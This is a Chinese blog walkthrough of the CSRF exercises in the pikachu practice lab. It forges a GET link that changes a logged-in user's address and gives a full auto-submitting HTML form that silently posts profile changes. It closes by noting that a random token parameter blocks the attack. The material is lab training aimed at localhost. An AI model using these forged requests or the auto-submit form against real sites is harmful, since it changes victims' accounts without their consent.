CSRF跨站请求伪造 之 pikachu 靶场练习

CSRF( Cross-site request forgery,跨站请求伪造)

上一篇中对CSRF是什么进行了基本的了解,以及它与XSS的相比较:初识CSRF

在CSRF的攻击场景中,攻击者会伪造一个请求(一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,这个攻击也就完成了。
接下来我们通过pikachu 靶场里的 CSRF 测试项对 CSRF 的几个类型进行测试。

CSRF(get)

首先打开时一个登录界面。
在这里插入图片描述

点击提示可以看到可以登录这些用户。
在这里插入图片描述
然后就可以看到登录之后的界面了
在这里插入图片描述
当此用户点击修改信息时,使用 burpsuite 抓包,可以看到修改的每一栏信息都在后面的 get 请求中体现出来了。
不过有一些信息在浏览器中体现是经过了 url 编码。
在这里插入图片描述
那么接下来就可以进行伪造链接。
原来的链接:

localhost/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=%E7%94%B7&phonenum=123&add=%E5%9C%B0%E7%90%83&email=123%40163.com&submit=submit

伪造:
我们尝试把&add 项的中国改为美国。
即把“中国”的 url 编码 :%E5%9C%B0%E7%90%83 改为“美国”的 url 编码:%E7%BE%8E%E5%9B%BD

localhost/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=%E7%94%B7&phonenum=123&add=%E7%BE%8E%E5%9B%BD&email=123%40163.com&submit=submit

当点击下面已经修改的链接时,就可以看到,地址一项已经变成了“美国”。
在这里插入图片描述
修改信息时是使用GET请求的话,所有的信息都可以在 url 中体现出来。所以只要能够伪造出这个链接,对其进行处理为我们想要修改的信息,当用户点击这个链接的时候,这个CSRF攻击就达到了。不过用户点击的前提是他在我们要攻击的网站上登录了自己的账户。

CSRF(post)

和前面一样,进行登录进入用户界面。
在这里插入图片描述
进行修改个人信息操作,使用 burpsuite 抓包,得到的数据包时这样的。
可以看到,POST 型的 CSRF,所有参数在请求体中提交,我们不能通过伪造URL的方式进行攻击。
在这里插入图片描述
我们知道访问一个网站其实就是访问网站根目录里的文件。
然后我们可以搭建一个站点,在站点上做一个表单。
那么可以有访问我们制作的表单的链接,诱导用户点击此链接,就会向存在 CSRF 的服务器提交 post 请求,就可以达到和前面一样的效果,得以修改个人信息。

攻击者:192.168.43.153
漏洞服务器:192.168.43.153

这里由于实在自己的本机做测试,所以以上两个 IP 都是本机。
查看本机 IP 可打开 cmd 命令输入ipconfig 查看本机 IP 地址。
在这里插入图片描述
接下来编写一个 post.html 页面,代码如下:

<html>
<head>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://192.168.43.153/pikachu/vul/csrf/csrfpost/csrf_post_edit.php">
<input id="sex" type="text" name="sex" value="男" />
<input id="phonenum" type="text" name="phonenum" value="3212" />
<input id="add" type="text" name="add" value="地球村" />
<input id="email" type="text" name="email" value="3212@qq.com" />
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>

然后我们把post.html 放进 pikachu-csrf-post 项的根目录中:
pikachu\vul\csrf\csrfpost
在这里插入图片描述
然后就得到网站:

http://192.168.43.153/pikachu/vul/csrf/csrfpost/post.html

如果用户点击了此链接,就可以达到信息修改的目的。

结果自己测试点击这个链接,出现了下面这个问题,目前也不太清楚怎么回事~
不知道是权限问题还是防火墙啥的。
不过这个测试的过程是没问题的。正常情况下点击构造的链接是可以达到修改信息的目的。
在这里插入图片描述

CSRF(token)

和前面一样,在登录界面进行信息修改,用 Burp 进行抓包。
可以看到,与前面的相比,这里的参数中多了token 一项,这是一项随机值。
所以就无法进行伪造 url 了,目前含有 token 的 CSRF 没有办法通过。
可以得出防御CSRF 的一种方法可以是增加 token 参数。
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Goodric

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值